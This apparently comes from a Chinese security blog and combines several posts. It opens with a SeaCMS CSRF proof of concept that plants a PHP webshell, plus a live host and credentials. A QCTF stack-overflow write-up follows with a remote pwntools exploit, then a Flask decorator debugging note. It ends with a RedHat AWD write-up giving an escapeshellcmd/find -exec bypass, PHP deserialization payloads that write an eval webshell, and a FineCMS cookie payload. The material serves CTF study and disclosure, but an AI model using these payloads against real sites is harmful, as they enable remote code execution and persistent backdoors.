18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
  <!-- adjust action to your url -->
    <form action="http://127.0.0.1/seacms/backend/admin_video.php?action=save&acttype=add" method="POST">
      <input type="hidden" name="v&#95;commend" value="0" />
      <input type="hidden" name="v&#95;name" value="getshell" />
      <input type="hidden" name="v&#95;enname" value="ceshi" />
      <input type="hidden" name="v&#95;color" value="&#35;FF0000" />
      <input type="hidden" name="v&#95;type" value="5" />
      <input type="hidden" name="v&#95;state" value="5" />
      <input type="hidden" name="v&#95;pic" value="{if:1)$GLOBALS['_G'.'ET'][a]($GLOBALS['_G'.'ET'][b]);//}{end if}" />
      <input type="hidden" name="v&#95;spic" value="" />
      <input type="hidden" name="v&#95;gpic" value="" />
      <input type="hidden" name="v&#95;actor" value="" />
      <input type="hidden" name="v&#95;director" value="" />
      <input type="hidden" name="v&#95;commend" value="0" />
      <input type="hidden" name="v&#95;note" value="" />
      <input type="hidden" name="v&#95;tags" value="" />
      <input type="hidden" name="select3" value="" />
      <input type="hidden" name="v&#95;publishyear" value="" />
      <input type="hidden" name="select2" value="" />
      <input type="hidden" name="v&#95;lang" value="" />
      <input type="hidden" name="select1" value="" />
      <input type="hidden" name="v&#95;publisharea" value="" />
      <input type="hidden" name="select4" value="" />
      <input type="hidden" name="v&#95;ver" value="" />
      <input type="hidden" name="v&#95;hit" value="0" />
      <input type="hidden" name="v&#95;monthhit" value="0" />
      <input type="hidden" name="v&#95;weekhit" value="0" />
      <input type="hidden" name="v&#95;dayhit" value="0" />
      <input type="hidden" name="v&#95;len" value="" />
      <input type="hidden" name="v&#95;total" value="" />
      <input type="hidden" name="v&#95;nickname" value="" />
      <input type="hidden" name="v&#95;company" value="" />
      <input type="hidden" name="v&#95;tvs" value="" />
      <input type="hidden" name="v&#95;douban" value="" />
      <input type="hidden" name="v&#95;mtime" value="" />
      <input type="hidden" name="v&#95;imdb" value="" />
      <input type="hidden" name="v&#95;score" value="" />
      <input type="hidden" name="v&#95;scorenum" value="" />
      <input type="hidden" name="v&#95;longtxt" value="" />
      <input type="hidden" name="v&#95;money" value="0" />
      <input type="hidden" name="v&#95;psd" value="" />
      <input type="hidden" name="v&#95;playfrom&#91;1&#93;" value="" />
      <input type="hidden" name="v&#95;playurl&#91;1&#93;" value="" />
      <input type="hidden" name="m&#95;downfrom&#91;1&#93;" value="" />
      <input type="hidden" name="m&#95;downurl&#91;1&#93;" value="" />
      <input type="hidden" name="v&#95;content" value="" />
      <input type="hidden" name="Submit" value="�&#161;&#174;�&#174;&#154;�&#143;&#144;浜&#164;" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

you can test this vul at http://111.230.11.248:10089/backend/,and the username and password is admin|admin.

昨天去打了打QCTF，水了3道web题目后便草草收场。表示这场比赛真的只是一场萌新赛吗。。。。由于队伍里面向来缺pwn手，所以便计划把这场比赛的pwn题目也做一下练练手，限于水平太菜也就做了个stack2这道题。

分析程序利用点

首先 checksec查看程序的保护情况

可以卡暗道开启了栈不可执行保护和CANARY。
先把程序拖到IDA里面然后F5大法好。。。得到main函数的伪代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  unsigned int v5; // [esp+18h] [ebp-90h]
  unsigned int v6; // [esp+1Ch] [ebp-8Ch]
  int v7; // [esp+20h] [ebp-88h]
  unsigned int j; // [esp+24h] [ebp-84h]
  int v9; // [esp+28h] [ebp-80h]
  unsigned int i; // [esp+2Ch] [ebp-7Ch]
  unsigned int k; // [esp+30h] [ebp-78h]
  unsigned int l; // [esp+34h] [ebp-74h]
  char v13[100]; // [esp+38h] [ebp-70h]
  unsigned int v14; // [esp+9Ch] [ebp-Ch]

  v14 = __readgsdword(0x14u);
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  v9 = 0;
  puts("***********************************************************");
  puts("*                      An easy calc                       *");
  puts("*Give me your numbers and I will return to you an average *");
  puts("*(0 <= x < 256)                                           *");
  puts("***********************************************************");
  puts("How many numbers you have:");
  __isoc99_scanf("%d", &v5);
  puts("Give me your numbers");
  for ( i = 0; i < v5 && (signed int)i <= 99; ++i )
  {
    __isoc99_scanf("%d", &v7);
    v13[i] = v7;
  }
  for ( j = v5; ; printf("average is %.2lf\n", (double)((long double)v9 / (double)j)) )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        while ( 1 )
        {
          puts("1. show numbers\n2. add number\n3. change number\n4. get average\n5. exit");
          __isoc99_scanf("%d", &v6);
          if ( v6 != 2 )
            break;
          puts("Give me your number");
          __isoc99_scanf("%d", &v7);
          if ( j <= 0x63 )
          {
            v3 = j++;
            v13[v3] = v7;
          }
        }
        if ( v6 > 2 )
          break;
        if ( v6 != 1 )
          return 0;
        puts("id\t\tnumber");
        for ( k = 0; k < j; ++k )
          printf("%d\t\t%d\n", k, v13[k]);
      }
      if ( v6 != 3 )
        break;
      puts("which number to change:");
      __isoc99_scanf("%d", &v5);
      puts("new number:");
      __isoc99_scanf("%d", &v7);
      v13[v5] = v7;
    }
    if ( v6 != 4 )
      break;
    v9 = 0;
    for ( l = 0; l < j; ++l )
      v9 += v13[l];
  }
  return 0;
}

分析程序可以看出程序的逻辑大体是输入一堆数，然后可以求平均值，也可以添加数字，或者更改某一位。数字默认被存入一个数组中。其中在更改某一位数字的操作中可以看到并没有被传入的下标做检测，这就导致了我们可以在任意位置写入数据，从而更改掉main函数的返回地址从而实现getshell。而且这里存在一个hackhere函数:

1
2
3
4

int hackhere()
{
  return system("/bin/bash");
}

所以最初的尝试是将retaddr覆盖为hackhere函数的地址。

分析偏移量

这里分析偏移量采用了ida动态调试的方法，在main函数的retn处下断点。为了方便找到数组的地址，在调试时先输入4个数字1,2,3,4，然后在stack view中寻找数组的首地址。
执行到断点处stack view视图默认指向esp的位置，可以从而确定retaddr：

这里的retaddr为0xffcd968c
向上寻找看是否存在某段内容为04030201，即可找到v13数组的首地址：

可以看到数组地址为0xffcd9608,数组相对retaddr的偏移位数为0xffcd968c-0xffcd9608=132,所以只要覆盖v13[132]至v13[135]即可。
确定hackhere的地址为0x0804859B,所以只需覆盖v13[132]至v13[135]为0x9b,0x85,0x04,0x08.
本地测试用这样的方法可成功getshell。

远程的问题

然而远程测试则提示bash not found.原来目标机器上并不存在bash。因此想要getshell就只能通过调用_system来实现最终的getshell。而这里的/bin/sh可以从/bin/bash中获得，即/bin/bash的倒数二位。
因此最后打通远端服务器的payload为:

1
2
3
4
5
6

from pwn import *

r = remote("47.96.239.28", '2333')
r.sendline('1\n5\n3\n132\n80\n3\n133\n132\n3\n134\n4\n3\n135\n8\n3\n140\n135\n3\n141\n137\n3\n142\n4\n3\n143\n8')
r.sendline('5')
r.interactive()

后记

对于pwn菜鸡来说一定要熟悉程序执行的原理才行，另外ida远程调试也是一个很好的办法，更加形象化。另外这里的ida是在wine下运行的portable版本，亲测没有什么大bug。
keep calm and carry on！

flask自定义decorator的坑点

在一次开发中需要做一个权限验证的修饰器，由于之前并没有太多的flask编程经验，没有写过这种修饰器，于是便直接写出了以下的代码：

1
2
3
4
5
6

def is_admin(func):
    def wrapper(*args,**kargs):
        if not session['is_admin']:
            return redirect('/admin/login')
        return func(args,kargs)
    return wrapper

写完后直接运行报错：

1
2

existing endpoint function: %s' % endpoint)
AssertionError: View function mapping is overwriting an existing endpoint function: admin.wrapper

一开始的时候百思不得其解，并不懂这个错误出现的原因。后来联系报错的提示为已经存在了一个注册过的函数admin.wrapper.
可以判断为，经过修饰器修饰后，当传入flask自己的修饰器后修饰器获取到的当前函数的名称为wrapper，所以所有被这个修饰器修饰过得函数传入flask的修饰器中获取到的函数名都是wrapper，因此产生了冲突从而报错。

查看报错的地方的源码，位于app.py中：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98

def add_url_rule(self, rule, endpoint=None, view_func=None,
                 provide_automatic_options=None, **options):
    """Connects a URL rule.  Works exactly like the :meth:`route`
    decorator.  If a view_func is provided it will be registered with the
    endpoint.

    Basically this example::

        @app.route('/')
        def index():
            pass

    Is equivalent to the following::

        def index():
            pass
        app.add_url_rule('/', 'index', index)

    If the view_func is not provided you will need to connect the endpoint
    to a view function like so::

        app.view_functions['index'] = index

    Internally :meth:`route` invokes :meth:`add_url_rule` so if you want
    to customize the behavior via subclassing you only need to change
    this method.

    For more information refer to :ref:`url-route-registrations`.

    .. versionchanged:: 0.2
       `view_func` parameter added.

    .. versionchanged:: 0.6
       ``OPTIONS`` is added automatically as method.

    :param rule: the URL rule as string
    :param endpoint: the endpoint for the registered URL rule.  Flask
                     itself assumes the name of the view function as
                     endpoint
    :param view_func: the function to call when serving a request to the
                      provided endpoint
    :param provide_automatic_options: controls whether the ``OPTIONS``
        method should be added automatically. This can also be controlled
        by setting the ``view_func.provide_automatic_options = False``
        before adding the rule.
    :param options: the options to be forwarded to the underlying
                    :class:`~werkzeug.routing.Rule` object.  A change
                    to Werkzeug is handling of method options.  methods
                    is a list of methods this rule should be limited
                    to (``GET``, ``POST`` etc.).  By default a rule
                    just listens for ``GET`` (and implicitly ``HEAD``).
                    Starting with Flask 0.6, ``OPTIONS`` is implicitly
                    added and handled by the standard request handling.
    """
    if endpoint is None:
        endpoint = _endpoint_from_view_func(view_func)
    options['endpoint'] = endpoint
    methods = options.pop('methods', None)

    # if the methods are not given and the view_func object knows its
    # methods we can use that instead.  If neither exists, we go with
    # a tuple of only ``GET`` as default.
    if methods is None:
        methods = getattr(view_func, 'methods', None) or ('GET',)
    if isinstance(methods, string_types):
        raise TypeError('Allowed methods have to be iterables of strings, '
                        'for example: @app.route(..., methods=["POST"])')
    methods = set(item.upper() for item in methods)

    # Methods that should always be added
    required_methods = set(getattr(view_func, 'required_methods', ()))

    # starting with Flask 0.8 the view_func object can disable and
    # force-enable the automatic options handling.
    if provide_automatic_options is None:
        provide_automatic_options = getattr(view_func,
            'provide_automatic_options', None)

    if provide_automatic_options is None:
        if 'OPTIONS' not in methods:
            provide_automatic_options = True
            required_methods.add('OPTIONS')
        else:
            provide_automatic_options = False

    # Add the required methods now.
    methods |= required_methods

    rule = self.url_rule_class(rule, methods=methods, **options)
    rule.provide_automatic_options = provide_automatic_options

    self.url_map.add(rule)
    if view_func is not None:
        old_func = self.view_functions.get(endpoint)
        if old_func is not None and old_func != view_func:
            raise AssertionError('View function mapping is overwriting an '
                                 'existing endpoint function: %s' % endpoint)
        self.view_functions[endpoint] = view_func

这里的view_functions是一个dict，存储endpoint-view_func键值对。而endpoint是指一个标记各个url的一个字符串，通常为函数的名称。endpoint与不同的函数一一对应。
出错的原因在于相同的endpoint被指向了两次，且指向的函数不同，但是这两个不同的函数却拥有相同的名字name，因此便对应了相同的endpoint。所以便导致了重复出现的错误。

那么怎么解决这个问题？这里使用了一个叫做functools的库中定义的一个修饰器@functool.wraps.
更改后的代码为:

1
2
3
4
5
6
7

def is_admin(func):
    @functools.wraps(func)
    def wrapper(*args,**kargs):
        if not session['is_admin']:
            return redirect('/admin/login')
        return func(args,kargs)
    return wrapper

再次调试可以看到这次程序运行后对应的函数的name不同，从而没有再出现bug。再次调试可以发现最后的函数的name与对应的endpoint值均不同。

注：@functools.wraps(func)的作用就是保留原有函数的名称和docstring

参考

记录一次使用Flask开发过程中的bug

后记

经过这次拍错发现自己对flask的实现机制产生了浓厚的兴趣。。。。那就立个flag，今年要把flask的源码好好看一看，至少弄懂flask背后的设计原理。

红帽杯线下赛

上周打了一场红帽杯的线下赛,可惜开具发挥失误服务器down了几轮一度垫底…最后才又勉强上了点儿分…..赛后对题目中的几处比较有意义的漏洞做了一下分析,写出了下面篇文章.

红帽杯线下赛web原题已同步到我社github上:https://github.com/susers/Writeups

web1

web1是一个wordpress的应用程序,可惜当时比赛刚开始时服务器上的权限设置并不能直接修复程序,所以就先去搞了web2.后来传了一个马上去才修复了一些权限的问题,其他的漏洞基本上是通过抓包来搞出来的….这里贴一些赛后看各路大佬writeup等感觉不错的漏洞点:

命令执行1 escapeshellcmd绕过

在/wp-login.php中:

1
2
3
4

case 'debug':
        $file = addslashes($_POST['file']);
        system("find /tmp -iname ".escapeshellcmd($file));
        break;

先看一下escapeshellcmd的说明:

可以看到escapeshellcmd的主要功能是对可以截断shell命令的字符进行转义.

然而这里的语句倍拼接到了find命令下,而find命令有一个参数是exec参数,可移执行命令,因此我们这里便可以利用find命令的exec参数来bypass.

find exec参数执行的示例:

然而这里报缺少参数,是因为-exec传入的指令需要有结束符,分号必不可少,且分号应该加上反斜杠防止歧义.

这里看到命令被循环执行了,于是我们加上-quit只打印一次:

因此利用这样的指令便可以读文件.poc为:

1

file=xxx -or -exec cat /flag ; quit

这里不加反斜杠是因为escapeshellcmd会给我们的参数自动加上反斜杠.

命令执行2

在wp-includes/class-wp-cachefile.php中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37

<?php
class Template {
    public $cacheFile = '/tmp/cachefile';
    public $template = '<div>Welcome back %s</div>';

    public function __construct($data = null) {
        $data = $this->loadData($data);
        $this->render($data);
    }

    public function loadData($data) {
        if (substr($data, 0, 2) !== 'O:'
        && !preg_match('/O:\d:\/', $data)) {
            return unserialize($data);
        }
        return [];
    }

    public function createCache($file = null, $tpl = null) {
        $file = $file ?? $this->cacheFile;
        $tpl = $tpl ?? $this->template;
        file_put_contents($file, $tpl);
    }

    public function render($data) {
        echo sprintf(
            $this->template,
            htmlspecialchars($data['name'])
        );
    }

    public function __destruct() {
        $this->createCache();
    }
}

new Template($_COOKIE['data']);

这里可以看到构造函数中调用了loadData来对传入的cookie值进行序列化,而loadData函数中对传入的参数进行了两个过滤:

• substr($data,0,2)!==’O:’
  可以通过序列化一个数组,数组中的元素为类来绕过.
• !preg_match(‘/O:\d:\/‘, $data)
  可以通过正号来绕过匹配.

在template类中的析构函数中调用了createCache方法,createCache方法中可以任意写入文件.
因此构造payload的poc为:

1
2
3
4
5
6
7

<?php
class Template {
    public $cacheFile = './shell.php';
    public $template = '<?php eval($_REQUEST[test]);';
}
$t=array(1=>new Template());
print_r(serialize($t));

最后得到的符合条件的payload为:

1

a:1:{i:1;O:+8:"Template":2:{s:9:"cacheFile";s:11:"./shell.php";s:8:"template";s:28:"<?php eval($_REQUEST[test]);";}}

其他

求他的洞就大概都是一些主办方预留的shell之类的了…..

web2

web2是一个finecms,当时防护做得比较好所以没有出现太多的问题.

命令执行1 /finecms/dayrui/config/config.class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39

<?php


$config = unserialize(base64_decode($config));
if(isset($_GET['param'])){
    $config->$_GET['param'];
}
class FinecmsConfig{
    private $config;
    private $path;
    public $filter;
    public function __construct($config=""){
        $this->config = $config;
        echo 123;
    }
    public function getConfig(){
        if($this->config == ""){
            $config = isset($_POST['Finecmsconfig'])?$_POST['Finecmsconfig']:"";
        }
    }
    public function SetFilter($value){
        
        if($this->filter){
            foreach($this->filter as $filter){

                
                $array = is_array($value)?array_map($filter,$value):call_user_func($filter,$value);
            }
            $this->filter = array();
        }else{
            return false;
        }
        return true;
    }
    public function __get($key){
        $this->SetFilter($key);
        die("");
    }
}

这里可以看到调用$config->$_GET[param],如果$config是一个类且这个类不存在$_GET[param]这样一个属性就会调用__get()方法.

可以看到这里的FinecmsConfig类正好存在一个__get()方法.而在__get()方法中调用了SetFilter方法.
在SetFilter方法中调用了call_user_func方法,因此这里存在命令执行漏洞.

全局搜索引用了config.class.php文件的文件,可以找到在
./finecms/Init.php中存在引用,./finecms/Init.php中设置了$config变量:

1
2
3
4

if(isset($_COOKIE['FINECMS_CONFIG'])){
    $config = $_COOKIE['FINECMS_CONFIG'];
    require FCPATH.'dayrui/config/config.class.php';
}

可以看到这里$config的值被设置为$_COOKIE['FINECMS_CONFIG'];

因此我们可以得出最后的payload:

1
2
3
4
5
6
7
8

<?php 
class FinecmsConfig{
    private $config;
    private $path;
    public $filter=array('readfile');
}
$c = new FinecmsConfig();
print_r(base64_encode(serialize($c)));

得到cookie FINECMS_CONFIG的值:

1

TzoxMzoiRmluZWNtc0NvbmZpZyI6Mzp7czoyMToiAEZpbmVjbXNDb25maWcAY29uZmlnIjtOO3M6MTk6IgBGaW5lY21zQ29uZmlnAHBhdGgiO047czo2OiJmaWx0ZXIiO2E6MTp7aTowO3M6ODoicmVhZGZpbGUiO319

GET参数设置为/flag即可获取flag.

命令执行2

finecms的一个1day
https://zhuanlan.zhihu.com/p/35133267
http://lu4n.com/finecms-rce-0day/

sql注入

梅子酒师傅之前挖到的一个sql注入的CVE:

Finecms SQL注入漏洞 [CVE-2018-6893]

其他

其他就是类似web1一样的小马之类的了…..

后记

开始打awd之后这次比赛又回到了第一次打awd的感觉….只能说还是太菜了…..
以后还是要多联系一下代码审计,真的佩服大佬们代码审计的能力.

另外题目中的漏洞点将会单独抽出来作为代码审计题目放到我校的CTF平台上供师傅们分析练习.

参考

• http://skysec.top/2018/05/27/2018RedHat-AD-Web/
• Finecms SQL注入漏洞 [CVE-2018-6893]
• https://zhuanlan.zhihu.com/p/35133267
• http://lu4n.com/finecms-rce-0day/